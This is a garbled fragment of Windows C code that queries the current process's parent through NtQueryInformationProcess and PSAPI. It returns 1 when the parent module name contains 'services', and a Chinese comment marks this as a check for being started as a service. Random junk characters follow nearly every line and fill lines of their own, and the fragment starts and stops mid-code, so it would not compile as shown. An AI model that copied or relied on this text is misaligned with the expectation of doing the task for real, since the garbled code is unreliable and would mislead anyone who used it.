ULONG UniqueProcessId; mw='dFt
ULONG InheritedFromUniqueProcessId; /XhIx\40l
} PROCESS_BASIC_INFORMATION; =u+d_'P7-R
2UFv9
PROCNTQSIP NtQueryInformationProcess; )e a :Q?
(Nx;0"5IX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h\PHKC2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J,AR5@)1
_c,'>aH=
HANDLE hProcess; +=.W<b
PROCESS_BASIC_INFORMATION pbi; `.x
Fiyc
Qt/8r*Oe
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R
+WP0&d'
if(NULL == hInst ) return 0; ,B0_MDA +
^Nmg07_R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \U[{z&]~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =9"W@n[>W
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T)Y=zIQ1]7
j&
<i&
if (!NtQueryInformationProcess) return 0; 6Qx#%,U^ J
G=A,9@+c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T`Mf]s)*
if(!hProcess) return 0; 4( 1(e
;~\MZYs3m
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [&nh5|f
IjR'Qou5
CloseHandle(hProcess); Nqrmp" ]
1f8GW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hWT[L.>k
if(hProcess==NULL) return 0; A _XhuQB;d
])Qs {hs~s
HMODULE hMod; |"9 #bU
char procName[255]; i}o[- S4
unsigned long cbNeeded; ]@0NO;bK>F
:P@rkT3Q t
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4y5UkU9|
)JNSZB
CloseHandle(hProcess); Ldl5zc
y!!E\b=
if(strstr(procName,"services")) return 1; // 以服务启动 E
Kz'&